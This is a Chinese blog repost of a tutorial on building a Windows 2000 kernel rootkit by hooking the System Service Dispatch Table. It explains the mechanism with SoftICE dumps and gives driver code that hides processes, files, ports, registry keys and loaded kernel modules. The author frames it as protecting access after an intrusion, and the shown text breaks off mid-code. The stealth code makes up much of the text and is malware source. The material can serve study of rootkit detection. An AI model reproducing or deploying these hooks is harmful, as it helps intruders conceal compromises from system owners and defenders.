青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

saga's blog

突出重點,系統全面,不留死角

  C++博客 :: 首頁 :: 聯系 :: 聚合  :: 管理
  33 Posts :: 2 Stories :: 185 Comments :: 0 Trackbacks

公告

QQ:34O859O5

常用鏈接

留言簿(15)

搜索

  •  

積分與排名

  • 積分 - 212596
  • 排名 - 124

最新評論

閱讀排行榜

評論排行榜

轉載學習   原始出處不詳了 因該是是邪惡八進制吧  不找了 呵呵

我們安全愛好者,都接觸過Rootkit,它對我們入侵后的保護提供了強大的支持。現今比較流行的Rootkit有Hxdef,NtRootkit和AFX Rootkit,而且Hxdef和AFX Rootkit還提供了源代碼,對我們的學習提供了很大的方便。這些Rootkit都是使用HOOK技術實現的,欺騙的是用戶,而不是操作系統。使用HOOK開發Rootkit是比較簡單的,雖然現在也有很多其他的技術,但門檻都太高,很多技術都需要硬編碼,對于我等菜鳥,實在是沒有這么高深的技術。而HOOK就不同了,它開發簡單,兼容性好,而且它幾乎是你在編程道路上的一項必學技術,因為太多地方需要HOOK了,使用HOOK開發Rootkit不過是其中的一個應用而已,也是學習HOOK的一項比較好的實踐機會。好了,進入正題,本文涉及的內容雖然不深,但也需要你有Windows編程以及驅動程序設計的基礎。另外,本文的所有內容均在Windows 2000 SP4下測試成功,如無特殊提示,所以內容都是以Windows 2000 SP4、Intel x86為平臺介紹的。


一、序言


針對本文開發的Rootkit,我們常常把它稱作Hook System Call、Sysem Service Call或System Service Dispatching,更正規的說法是Hook Windows系統服務調用,它是系統中的一個關鍵接口,提供了系統由用戶態切換到內核態的功能。我們知道,一般處理器可以提供從Ring0到Ring3四種處理器模式,其中必須提供2種,就是Ring0和Ring3。一些特殊的處理器指令只能在內核模式執行,一些高端內存也必須在內核模式下才能訪問(可以通過內存映射的方法解決,請參考其他文章,本文不做介紹)。Windows系統就是利用了這2個處理器模式,將系統的關鍵組件保護起來,只有在內核模式才可以訪問,并提供了一個上層接口,供用戶程序訪問,一切都是在MS的管理之下(悲哀啊!)。下面是Windowx體系結構的簡略圖。


[-------------------Windowx體系結構---------------------]
系統進程,服務進程,應用程序,環境子系統
應用程序編程接口(API)
基于NTDLL.DLL的本地系統服務
(用戶模式)
---------------------------------------------------------------
(內核模式)
系統服務調用(SSDT)
執行體(Executive)
系統內核,設備驅動(Kernel)
硬件抽象層(HAL)


二、Windows系統服務調用


1.機制
Windows 2000的陷阱調度(Trap Dispatching)機制包括了:中斷(Interrupt),延遲過程調用(Deferred Procedure Call),異步過程調用(Asynchronous Procedure Call),異常調度(Exception Dispatching)和系統服務調用(System Service Call)。在Intel x86平臺的Windows 2000使用int 0x2e指令進入Windows系統服務調用;Windows XP使用sysenter指令使系統陷入系統服務調用程序中;而AMD平臺的Windows XP系統使用syscall指令進入Windows系統服務調用。下面是Intel x86平臺的Windows 2000的系統服務調用模型。


mov eax, ServiceId
lea edx, ParameterTable
int 2eh
ret ParamTableBytes


其中ServiceId是傳遞給系統服務調用程序的ID號,內核使用這個ID號來查找系統服務調度表(System Service Dispath Table)中的對應系統服務信息。在系統服務調度表中,每一項都包含了一個指向具體的系統服務程序的指針,我們就是需要HOOK這個指針,使其指向我們自定義的代碼(稍后會詳述)。ParameterTable是傳遞的參數,系統服務調用程序KiSystemService函數會嚴格檢查傳遞的每一個參數,并將其參數從線程的用戶內存中復制到系統的內存中,以便內核可以訪問。執行的int指令會導致陷阱發生,所以Windows 2000內的中斷描述表(Interrupt Descriptor Table)中的0x2e指向了系統服務調用程序。最后的ParamTableBytes是返回的參數個數的信息。

其實,系統服務調用也是一個接口,是面向Windows內核的接口。它實現了將用戶模式下的請求轉發到內核模式下,并引發了處理器模式的切換。在用戶看來,系統服務調用就是與Windows內核通信的一個橋梁。

2.類型
在Windows 2000中默認存在兩個系統服務調度表,它們對應了兩類不同的系統服務。這兩個系統服務調度表分別是:KeServiceDescriptorTable和KeServiceDescriptorTableShadow。前者有ntoskrnl.exe導出,后者由Win32k.sys導出。在系統中,有三個DLL是最重要的:Kernel32.dll、User32.dll和Gdi32.dll,這些DLL導出的函數,都是通過某種類型的中斷進入內核態,然后調用ntoskrnl.exe或Win32k.sys中的函數。函數KeAddSystemServiceTable允許Win32.sys和其他設備驅動程序添加系統服務表。除了Win32k.sys服務表外,使用KeAddSystemServiceTable添加的服務表會被同時復制到KeServiceDescriptorTable和KeServiceDescriptorTableShadow中去。

●注:由于本文的Rootkit只針對KeServiceDescriptorTable,KeServiceDescriptorTableShadow只會稍微提及一些,不會詳述。●

另外在提一下,NTDLL.DLL和ntoskrnl.exe的關系很“微妙”,用戶態和內核態的調用也是有分別的,比如:參數檢查。還有Native API導出了2套函數:Zw***和Nt***,要想徹底了解這些內容,推薦看Sunwear寫的《淺析本機API》,我們的論壇原創版有這篇文章http://www.eviloctal.com/forum/index.php

綜上所述,Kernel32.dll/Advapi32.dll進入NTDLL.DLL后,使用int 0x2e中斷進入內核,最后在ntoskrnl.exe中實現了真正的函數調用;User32.dll和Gdi32.dll則在Win32k.sys中實現了真正的函數調用。


三、HOOK系統服務


HOOK系統服務,首先需要定位系統服務調度表,這里需要一個未公開的ntoskrnl.exe導出單元KeServiceDescriptorTable,它對應一個簡單的數據結構,使用它完成對系統服務調度表的修改。


typedef struct servicetable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParamerterTableBase;
}ServiceDescriptorTableEntry,*PServiceDescriptorTableEntry;


ServiceTableBase指向系統服務程序的地址,我們需要對它進行HOOK,使這個地址指向我們的代碼。ParamerterTableBase是參數列表的地址,它們都包含了NumberOfService這么多個單元。

我們先用SoftICE分析一下系統服務調度表。使用ntcall命令可以列出系統中的系統服務調度表,但不同的系統,不同的SP補丁,系統服務調度表肯定是不會相同的,因為MS隨時都會修改此表。Ntcall命令的輸出類似這樣:

000A 0008:8049860A params=06 NtAdjustPrivilegesToken

000A是它的序號,8049860A是其地址,params=06表示有6個參數,NtAdjustPrivilegesToken就是函數名了,對應的API是AdjustPrivilegesToken。Win32k.sys導出的系統服務調度表位于KeServiceDescriptorTable+50h處,ServiceID從1000h開始,其結構基本和ntoskrnl.exe一樣。我們具體看一下,由于SoftICE的輸出非常多,這里只節選一小部分。


:dd KeServiceDescriptorTable l 4*4
//如果要查看Win32k.sys,則使用dd KeServiceDescriptorTable+50 l 4*4
0008:8047F7E0 80471128 00000000 000000F8 8047150C ……
……

8047F7E0為KeServiceDescriptorTable的地址,80471128為ServiceTableBase的地址,000000F8為NumberOfService,8047150C為ParamerterTableBase。

:dd @KeServiceDescriptorTable l byte(@(KeServiceDescriptorTable+08))*4
0008:80471128 804C3D66 804F7F84 804FADF2 804F7FAE ……
……

80471128地址處為ServiceID=0的系統服務入口地址。在來看一下參數列表。

:dd @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 2C2C2018 44402C40 0818180C 100C0404 ……
:db @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 18 20 2C 2C 40 2C 40 44 0C 18 18 08 04 04 0C 10 ……


18 20 2C 2C,這里的18表示參數個數,即18h/4=6。根據上面的分析,我們只要修改ServiceTableBase到ServiceTableBase+NumberOfService*4范圍的數據就可以改變系統服務的執行流程;修改ServiceID就可以改變這一個系統服務的入口地址,我以ZwQuerySystemInformation為例說明一下。


:u ZwQuerySystemInformation
ntoskrnl!ZwQuerySystemInformation
0008:8042F288 MOV EAX, 00000097
0008:8042F280 LEA EDX, [ESP+04]
0008:8042F291 INT 2E
0008:8042F293 RET 0010


使用ZwQuerySystemInformation的線性地址+1,就可以定位ServiceID,即入口地址,將這個地址指向我們的函數,就大功告成了。首先需要將KeServiceDescriptorTable引入,這樣才能操作系統服務調度表。

__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;


然后定義一個宏,參數是需要HOOK函數的線性地址。

#define SYSCALL(_Function)
KeServiceDescriptorTable.ServiceTableBase[*(ULONG *)((UCHAR *)_Function+1)]


將_Function+1即可確定ServiceID的位置,即在系統服務調度表中的入口地址。有了這個宏,就可以“自由”的將地址指向“任何”位置,我以ZwQuerySystemInformation為例進行演示。首先定義一個typedef函數指針,用于保存原ZwQuerySystemInformation的地址。


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION) (
IN ULONG SystemInformationClass,
……);



聲明ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 然后定義HOOK函數。


NTSTATUS NewZwQuerySystemInformation (
……);


最后還差一個線性地址的函數,這個函數需要遵循DDK函數的調用約定,它什么工作都不做,只是幫助我們得到線性地址,進而在系統服務調度表中找到入口地址。


NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
……);


萬事具備,只欠東風。使用SYSCALL宏保存原函數地址,然后指向新函數。


OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)); //保存原函數地址

_asm cli

(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=NewZwQuerySystemInformation; //指向新函數

_asm sti


還原的時候只需將OldZwQuerySystemInformation的地址指向ServiceTableBase即可。


_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=OldZwQuerySystemInformation; //還原

_asm sti


這樣就可以HOOK成功了。其實想想,不過是使用HOOK函數的線性地址確定在系統服務調度表中的入口地址,然后將這個入口地址指向新函數或舊函數,用SoftICE看看HOOK前后的系統服務調度表就明白了。

下面的內容就是具體開發了,包括隱藏進程,文件/目錄,端口,注冊表,內核模塊,服務/驅動,用戶,需要說一下的是,隱藏服務/驅動,用戶是用戶態的HOOK,在隱藏服務的章節中,我會介紹用戶態的HOOK,其他都是在內核下完成的。


四、隱藏進程


我們平常枚舉進程,都是使用HelpTool庫、Psapi庫中的函數,這些函數最終會調用ZwQuerySystemInformation函數,所以只要HOOK這個函數,就可以隱藏進程,使類似任務管理器這樣的工具不會發現隱藏的進程。HOOK的方法前邊已經說過,所以這里只給出HOOK后函數的處理代碼,很好理解。

首先說說ZwQuerySystemInformation函數,使用它可以查詢詳細的系統信息,信息類型多達54種,我們在用戶態使用的很多查詢系統信息的API,其實最終都是調用的它。在這54種查詢類型中,包含進程信息的有2個,一個是信息類型為5,另一個則為16,前者為系統的進程信息,后者為系統的句柄表,其中包含進程ID。這2個查詢信息的方法是不同的,所以要分別HOOK。下面是ZwQuerySystemInformation函數的原型。

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
IN ULONG SystemInformationClass, //獲取的系統信息類別
IN OUT PVOID SystemInformation, //返回的信息指針
IN ULONG SystemInforamtionLength, //長度
OUT PULONG ReturnLength OPTIONAL); //實際的緩沖區大小

如果SystemInformationClasss為5,那么SystemInformation會返回下面這個結構。

typedef struct system_porcess
{
ULONG NextEntryDelta; //進程偏移
ULONG ThreadCount; //線程數
ULONG Reserved1[6]; //保留
LARGE_INTEGER CreateTime; //進程創建時間
LARGE_INTEGER KernelTime; //內核占用時間
LARGE_INTEGER UserTime; //用戶占用時間
UNICODE_STRING ProcessName; //進程名
KPRIORITY BasePriority; //優先級
ULONG ProcessId; //進程ID
ULONG InheritedProcessId; //父進程ID
ULONG HandleCount; //句柄數
ULONG Reserved2[2]; //保留
VM_COUNTERS VmCounters; //VM信息
IO_COUNTERS IoCounters; //IO信息
SYSTEM_THREAD SystemThread[1]; //線程信息
}SYSTEM_PROCESS,*LPSYSTEM_PROCESS;

如果SystemInformationClasss為16,則返回下面這個結構。
typedef struct system_handle_entry
{
ULONG ProcessId; //進程ID
UCHAR ObjectType; //句柄類型
UCHAR Flags; //標志
USHORT HandleValue; //句柄的數值
PVOID ObjectPointer; //句柄所指向的內核對象地址
ACCESS_MASK GrantedAccess; //訪問權限
}SYSTEM_HANDLE_ENTRY,*LPSYSTEM_HANDLE_ENTRY;

typedef struct system_handle_info
{
ULONG Count; //系統句柄數
SYSTEM_HANDLE_ENTRY Handle[1]; //句柄信息
}SYSTEM_HANDLE_INFORMATION,*LPSYSTEM_HANDLE_INFORMATION;

對于信息類5,我們需要改變NextEntryDelta結構成員,它是進程列表的偏移地址。比如第一個進程信息在SystemInformation+0處,那么第二個信息就在SystemInformation+第一個NextEntryDelta處,依次類推,最后一個進程信息的NextEntryDelta就為0了。也就是說,如果要隱藏第一個進程,就向前移動緩沖區,移動的長度是第一個進程信息結構的大小;如果要隱藏中間的進程,則多加一個NextEntryDelta,就可以覆蓋掉要隱藏的進程信息結構;如果要隱藏最后一個進程,將NextEntryDelta設置為0就可以了。

對于信息類16,就沒有什么偏移地址了,而是一個完整的緩沖區,我們要隱藏那個句柄,就向前移動SYSTEM_HANDLE_ENTRY結構的大小,覆蓋掉要隱藏的數據。

NTSTATUS NewZwQuerySystemInformation (
IN ULONG SystemInformationClass,
……)
{
......
//請求原函數
ntStatus=(OldZwQuerySystemInformation)(SystemInformationClass,……);

//SystemInformationClass==16 枚舉系統句柄表
if (NT_SUCCESS(ntStatus) && SystemInformationClass==16)
{
//指向句柄表緩沖區
lpSystemHandle=(LPSYSTEM_HANDLE_INFORMATION)SystemInformation;
Num=lpSystemHandle->Count; //取得系統句柄數

for (n=0; n<Num; n++)
{
//比較句柄表中的進程ID
if (HIDDEN_SYSTEM_HANDLE==lpSystemHandle->Handle[n].ProcessId)
{
//向前移動句柄表緩沖區
memcpy((lpSystemHandle->Handle+n),(lpSystemHandle->Handle+n+1),
(Num-n-1) * sizeof (SYSTEM_HANDLE_ENTRY));
Num--; //總數要--
n--;
}
}
}

//SystemInformationClass==5 枚舉系統進程
if (NT_SUCCESS(ntStatus) && SystemInformationClass==5)
{
//指向進程列表緩沖區
ProcCurr=(LPSYSTEM_PROCESS)SystemInformation;
while (ProcCurr)
{
RtlUnicodeStringToAnsiString(&ProcNameAnsi,&ProcCurr->ProcessName,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_PROCESS,ProcNameAnsi.Buffer,
strlen(ProcNameAnsi.Buffer))==0)
{
//移動進程偏移NextEntryDelta
if (ProcPrev)
{
if (ProcCurr->NextEntryDelta)
ProcPrev->NextEntryDelta+=ProcCurr->NextEntryDelta;
else
ProcPrev->NextEntryDelta=0;
}
else
{
if (ProcCurr->NextEntryDelta)
SystemInformation=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
SystemInformation=NULL;
}
}

ProcPrev=ProcCurr;
//下一進程
if (ProcCurr->NextEntryDelta)
ProcCurr=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
ProcCurr=NULL;
}
}

……
return ntStatus;
}

HIDDEN_SYSTEM_HANDLE和HIDDEN_SYSTEM_PROCESS是2個宏,分別為隱藏的進程ID和進程名。下面介紹隱藏文件/目錄。


五、隱藏文件/目錄


枚舉文件使用ZwQueryDirectoryFile函數,其原型如下:

NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile (
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN ReturnOnlyOneEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartQuery);

hFile為文件句柄,由ZwCrateFile或ZwOpenFile獲得,FileInfoClass是一個不斷變化的枚舉類型,但只有4個同文件/目錄有關。FileInformationBuffer是返回的信息指針。我們要隱藏文件/目錄,就要處理這4個不同的枚舉類型,它們的數值分別是:1、2、3和12,分別對應4個不同的結構,由于結構內容比較長,所以只介紹信息類為12的內容,其他可以在光盤中的FileInfo.txt中找到。信息類為12返回的結果如下:

typedef struct file_name_info {
ULONG NextEntryOffset; //文件偏移
ULONG Unknown; //下一文件索引
ULONG FileNameLength; //文件長度
WCHAR FileName[1]; //文件名
}FILE_NAMES_INFORMATION,*LPFILE_NAMES_INFORMATION;

隱藏文件/目錄的方法和隱藏進程基本上一樣,如果沒有文件/目錄被找到,應該返回0x80000006。

NTSTATUS NewZwQueryDirectoryFile (
IN HANDLE hFile,
……)
{
......
//請求原函數
ntStatus=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (hFile,……);

if (NT_SUCCESS(ntStatus) && FileInfoClass==12)
{
//指向文件列表緩沖區
FileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
do {
LastOne=!(FileCurr->NextEntryOffset); //取偏移
FileNameLength=FileCurr->FileNameLength; //取長度
RtlInitUnicodeString(&FileNameWide,FileCurr->FileName);
RtlUnicodeStringToAnsiString(&FileNameAnsi,&FileNameWide,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_FILE,FileNameAnsi.Buffer,
(FileNameLength / 2))==0)
{
//最后一個文件
if (LastOne)
{
if (FileCurr==(LPFILE_NAMES_INFORMATION)
FileInformationBuffer)
ntStatus=0x80000006; //隱藏
else
FilePrev->NextEntryOffset=0;
}
else
{
//移動文件偏移
Pos=((ULONG)FileCurr)-((ULONG)FileInformationBuffer);
Left=(DWORD)FileInformationBufferLength-Pos-
FileCurr->NextEntryOffset;
RtlCopyMemory((PVOID)FileCurr,(PVOID)((char *)
FileCurr+FileCurr->NextEntryOffset),(DWORD)Left);
continue;
}
}

//下一文件
FilePrev=FileCurr;
FileCurr=(LPFILE_NAMES_INFORMATION)((char *)
FileCurr+FileCurr->NextEntryOffset);
}while (!LastOne);
}

……
return ntStatus;
}

HIDDEN_SYSTEM_FILE同樣是宏,另外,文件長度是以Unicode統計的,一個字符占16位,而比較語句是以ANSI比較的,一個字符占8位,所以_strnicmp函數最后的比較大小是FileNameLength / 2,如果以Unicode比較,就不必除以2了。在來看看隱藏端口。


六、隱藏端口


枚舉端口使用iphlpapi.dll中的函數,而它們最終調用的是ZwDeviceIoControlFile函數,使用它發送一個特定的IRP獲取端口列表,所以只要HOOK了ZwDeviceIoControlFile函數,就可以隱藏端口。函數原型如下:

NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile (
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength);

FileHandle為通信設備的句柄,可以使用ZwQueryObject函數獲得其具體信息,對于端口設備的,它的名字總是\Device\Tcp或\Device\Udp;IoControlCode為特定的I/O控制代碼,表示要查詢的信息。InputBuffer和OutputBuffer分別為輸入輸出緩沖。

查詢端口的I/O控制代碼有2個,分別為:0x210012和0x120003,它們所返回的結構、分辨TCP/UDP端口都是不同的,需要分別對待。在我的Windows 2000 SP4下,Netstat使用0x120003,而Fport卻使用0x210012。對于0x120003,返回的結構如下:

typedef struct tcpaddrentry //TCP
{
ULONG TcpState; //狀態
ULONG TcpLocalAddr; //本地地址
ULONG TcpLocalPort; //本地端口
ULONG TcpRemoteAddr; //遠程地址
ULONG TcpRemotePort; //遠程端口
}TCPADDRENTRY,*LPTCPADDRENTRY;

typedef struct udpaddrentry //UDP
{
ULONG UdpLocalAddr; //UDP只有本地地址
ULONG UdpLocalPort; //端口
}UDPADDRENTRY,*LPUDPADDRENTRY;

很熟悉吧,這正是iphlpapi.dll中的函數返回的結構。對于這2個結構,還可以擴展,則會增加一個進程ID,不過只適用XP/2003,結構就不帖了,可以在RootkitMain.h中查找到。使用這個I/O控制代碼進行端口查詢,FileHandle的名字總是\Device\Tcp,所以區別TCP和UDP的方法是檢查InputBuffer,包括判斷是否為擴展結構。

對于TCP查詢,輸入緩沖的特征是InputBuffer[0]為0x00,如果OutputBuffer中已經有了端口數據,則InputBuffer[17]為0x01,如果是擴展結構,則InputBuffer[16]為0x02。對于UDP查詢,InputBuffer[0]就為0x01了,InputBuffer[16]和InputBuffer[17]的值和TCP查詢是一樣的。我們使用這3個值來區分TCP/UDP端口和是否為擴展結構,OutputBuffer返回的是完整的端口列表緩沖區,使用IoStatusBlock取得端口的數量,隱藏某個端口,就向前移動緩沖區。對于0x210012,返回的結構如下:

typedef struct tdiconnectinfo
{
ULONG State;
ULONG Event;
ULONG TransmittedTsdus;
ULONG ReceivedTsdus;
ULONG TransmissionErrors;
ULONG ReceiveErrors;
LARGE_INTEGER Throughput;
LARGE_INTEGER Delay;
ULONG SendBufferSize;
ULONG ReceiveBufferSize;
BOOLEAN Unreliable;
}TDI_CONNECTION_INFO,*LPTDI_CONNECTION_INFO;

使用這個I/O控制代碼進行端口查詢,FileHandle的名字是\Device\Tcp或\Device\Udp,所以分別TCP或UDP不需要輸入緩沖,而是使用ZwQueryObject函數獲取句柄的名字。OutputBuffer返回的是單獨的緩沖區,也就是說,一個端口返回一個,隱藏某個端口,就將返回值設置為STATUS_INVALID_ADDRESS即可。

NTSTATUS NewZwDeviceIoControlFile (
IN HANDLE FileHandle,
......)
{
......
//請求原函數
ntStatus=((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile))(FileHandle,……);

if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x210012))
{
//查詢句柄名稱 以便確定是TCP還是UDP
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
//指向端口列表緩沖區
lpTdiConnInfo=(LPTDI_CONNECTION_INFO)OutputBuffer;
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);

//TCP端口
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //隱藏
}

//UDP端口
if (_strnicmp(ObjectNameAnsi.Buffer,UDP_PORT_DEVICE,
strlen(UDP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //隱藏
}
}
}

if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x120003))
{
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (((InBuf=(LPBYTE)InputBuffer)==NULL) || (InputBufferLength<17))
//錯誤處理

if ((InBuf[0]==0x00) && (InBuf[17]==0x01)) //TCP端口
{
if (InBuf[16]!=0x02) //非擴展結構
{
//獲取端口個數
Num=IoStatusBlock->Information / sizeof (TCPADDRENTRY);
lpTcpAddrEntry=(LPTCPADDRENTRY)OutputBuffer;

for (n=0; n<Num; n++)
{
if (ntohs(lpTcpAddrEntry[n].TcpLocalPort)==
HIDDEN_SYSTEM_PORT)
{

//向前移動端口列表緩沖區
memcpy((lpTcpAddrEntry+n),(lpTcpAddrEntry+n+1),
((Num-n-1) * sizeof (TCPADDRENTRY)));
Num--; //總數--
n--;
break;
}
}

//隱藏后端口總數
IoStatusBlock->Information=Num * sizeof (TCPADDRENTRY);
......
}
}
……
}
}
}

return ntStatus;
}

0x120003查詢的UDP和處理擴展結構的代碼就不帖了,和處理TCP一樣,無非就是結構不同,隱藏都是memcpy移動緩沖。還有必須檢查InBuf[17]是否為0x01,否則指向的OutputBuffer就是NULL指針了。下面的內容是隱藏注冊表。


七、隱藏注冊表


枚舉注冊表鍵和鍵值使用的Native API是ZwEnumerateKey和ZwEnumerateValueKey函數,它們所做的工作基本一樣,都是使用索引獲取鍵/鍵值,并返回一個緩沖區指針。ZwEnumerateKey函數原型如下,ZwEnumerateValueKey函數和它幾乎一樣,就不帖出來了。

NTSYSAPI NTSTATUS NTAPI ZwEnumerateKey (
IN HANDLE KeyHandle, //句柄
IN ULONG Index, //請求的索引
IN KEY_INFORMATION_CLASS KeyInformationClass, //獲取的信息類型
OUT PVOID KeyInformation, //返回的緩沖區指針
IN ULONG Length, //長度
OUT PULONG ResultLength); //實際長度

DDK中公開了若干注冊表函數,所以這2個函數的結構,枚舉類型都已經定義好了,直接使用就可以了。KeyInformationClass一共4個值,可喜的是我們不必逐個處理,統一處理就可以了,因為只需要注冊表鍵/鍵值名和其長度,而返回的這4個結構中都包含這2個結構成員,所以才可以統一處理。這里我們使用KEY_BASIC_INFORMATION結構。

typedef struct _KEY_BASIC_INFORMATION {
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
}KEY_BASIC_INFORMATION,*PKEY_BASIC_INFORMATION;

這里我們需要的東西是Name和它的長度NameLength。而對于ZwEnumerateValueKey函數,我們使用KEY_VALUE_BASIC_INFORMATION結構(和KEY_BASIC_INFORMATION幾乎一樣,所以請查詢DDK Documentation文檔)。

枚舉注冊表鍵/鍵值,是通過索引獲取的,這樣的話,我們隱藏了一個注冊表鍵/鍵值,那其后的所有索引都需要改變。這里就需要有一個標界,理所當然是利用KeyHandle的值,不同子鍵的句柄值是不同的。舉個例子,例如隱藏了KeyHandle為1下的某一個注冊表鍵,那么其后KeyHandle為1下的所有索引(注冊表鍵)都需要+1,而不是KeyHandle為1的就不需要加了。具體看一下代碼,這里仍以ZwEnumerateKey函數為例。

NTSTATUS NewZwEnumerateKey (
IN HANDLE KeyHandle,
......)
{
......
static HANDLE RegHandle=NULL;
static LONG RegIndex=0;

if (RegHandle==KeyHandle) //同一句柄
Index+=RegIndex; //加上隱藏的注冊表鍵個數
else
{
RegIndex=0; //否則重新賦值為0
RegHandle=NULL;
}

//請求原函數
ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);

if (NT_SUCCESS(ntStatus))
{
//指向注冊表鍵緩沖區
lpKeyBasic=(KEY_BASIC_INFORMATION *)KeyInformation);
RtlInitUnicodeString(&RegsNameWide,lpKeyBasic->Name);
RtlUnicodeStringToAnsiString(&RegsNameAnsi,&RegsNameWide,TRUE);

if (_strnicmp(HIDDEN_SYSTEM_KEY,RegsNameAnsi.Buffer,
(lpKeyBasic->NameLength / 2))==0)
{
RegHandle=KeyHandle; //取句柄值
RegIndex++; //隱藏個數
Index++; //索引加1

//再次請求 跳過隱藏的注冊表鍵
ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);
}
}

……
return ntStatus;
}

使用這種方法隱藏注冊表鍵/鍵值,發現有時不同子鍵的KeyHandle值也是相同的,這就造成了多隱藏數據。解決的辦法是HOOK了ZwOpenKey函數,使用ZwOpenKey函數的KeyHandle枚舉鍵/鍵值(使用ZwEnumerateKey和ZwEnumerateValueKey函數),并記錄下需要隱藏的索引,然后在ZwEnumerateKey或ZwEnumerateValueKey函數中Index參數進行比較,如果相等,就隱藏了(索引+1即可),這樣上面的問題就可以解決了。如果想要做的更隱蔽,像ZwQueryKey、ZwDeleteKey等函數都需要HOOK,我這里只是演示程序,沒寫這么詳細,這些內容就留給各位讀者自己實踐了(嘿嘿,這叫偷懶)。


八、隱藏內核模塊


所謂內核模塊,就是內核加載的驅動信息,DDK中的Drivers.exe可以枚舉出系統的內核模塊列表,它最終調用的是ZwQuerySystemInformation函數,信息類為11,表示獲取系統的內核模塊。如果要隱藏某個內核模塊,就像上邊介紹隱藏系統句柄一樣,memcpy移動緩沖區,所以這里介紹另一種隱藏方法:從PsLoadedModuleList鏈上摘除內核模塊。PsLoadedModuleList是系統中一個未公開的內核變量(LIST_ENTRY鏈表),保存著系統的內核模塊。使用這種方法隱藏的關鍵是找到PsLoadedModuleList的地址,好在前人已經給出了方法,用驅動程序對象+14h即可定位PsLoadedModuleList。我們首先需要定義一個結構(這個結構雖然不是完整的,但我可以保證它正常工作)。GetPsLoadedModuleList函數查找PsLoadedModuleList的地址,HideAmlName函數隱藏內核模塊,代碼如下:

typedef struct moduleentry
{
LIST_ENTRY ListEntry;
DWORD Unknown[4];
DWORD Base;
DWORD DriverStart;
DWORD Unknown1;
UNICODE_STRING DriverPath;
UNICODE_STRING DriverName;
}MODULE_ENTRY,*LPMODULE_ENTRY;

DWORD GetPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
{
......
if (DriverObject)
{
//驅動程序對象+14h處是PsLoadedModuleList地址
if ((lpModuleEntry=*((LPMODULE_ENTRY *)
((DWORD)DriverObject+0x14)))==NULL)
{
//錯誤處理
}
}

return (DWORD)lpModuleEntry; //返回PsLoadedModuleList地址
}

NTSTATUS HideAmlName (TCHAR *HideModule)
{
if (ModuleEntry)
CurrentModuleEntry=ModuleEntry;
else
return STATUS_UNSUCCESSFUL;
//這是雙向鏈表
while ((LPMODULE_ENTRY)CurrentModuleEntry->ListEntry.Flink!=ModuleEntry)
{
if ((CurrentModuleEntry->Unknown1!=0) &&
(CurrentModuleEntry->DriverPath.Length!=0))
{
RtlUnicodeStringToAnsiString(&DriverNameAnsi,
&CurrentModuleEntry->DriverName,TRUE);

if (_strnicmp(HideModule,DriverNameAnsi.Buffer,
strlen(DriverNameAnsi.Buffer))==0)
{
*((DWORD *)CurrentModuleEntry->ListEntry.Blink)=
(DWORD)CurrentModuleEntry->ListEntry.Flink;
CurrentModuleEntry->ListEntry.Flink->Blink=
